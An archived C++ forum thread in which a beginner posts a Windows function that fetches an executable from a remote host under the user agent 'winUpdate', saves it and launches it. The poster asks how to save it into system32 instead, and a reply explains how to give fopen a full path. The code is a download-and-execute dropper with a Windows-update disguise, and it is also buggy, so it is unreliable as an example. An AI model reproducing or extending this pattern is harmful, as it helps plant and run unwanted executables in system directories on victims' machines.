Need to change target directory of a download function

I'm very new to c++ (started a few days ago :? so be easy on me) and I put together this function which will download a file from a server, and then run the file. However, this function will only download the file to the same directory as the original ExE. How can I go about changing the target directory of the download, to, say, system32? All help is greatly appreciated!

Heres what I have so far:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
void Download( void )
{
    void *szBuf[10];
    DWORD read;
    HINTERNET hOpen, hFile;
    hOpen = InternetOpen("winUpdate", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    hFile = InternetOpenUrl(hOpen, "http://myhost.com/v1.0.exe", NULL, 0, 0, 0);
    FILE *file;
    file = fopen("v1.0.exe", "wb");
    do{
       if(!(InternetReadFile(hFile, szBuf, 10, &read))) {
           fclose(file);
           }
       if(!read) { break; } // EOF
       else {
            fwrite(szBuf, sizeof(char), read, file); }
       }while(TRUE);
       fflush(file);
       fclose(file);
       
char IpApplicationName[1000];
               STARTUPINFO StartInfo;
               PROCESS_INFORMATION ProcessInfo;
               strcpy(IpApplicationName, "v1.0.exe");
               ZeroMemory(&StartInfo, sizeof(StartInfo));
               StartInfo.cb = sizeof(StartInfo);
                  if (!CreateProcess(IpApplicationName, NULL, NULL, NULL, FALSE,
                  HIGH_PRIORITY_CLASS | CREATE_NEW_CONSOLE, NULL, NULL,
                  &StartInfo, &ProcessInfo))

    // Close process and thread handles.

   CloseHandle(ProcessInfo.hThread);
   CloseHandle(ProcessInfo.hProcess);

   }
fopen("v1.0.exe" opens the file in the current directory. If you want to use a named directory, you need to say so, for example fopen("C:\\v1.0.exe"

Ofte, the path is read held somewhere, in which case, you'd append your filename to the target directory. e.g.
1
2
3
4
    std::string path;
    // ... load path from somewhere
    std::string filename = path + "v1.0.exe";
    FILE *f = fopen(filename.c_str(),
Topic archived. No new replies allowed.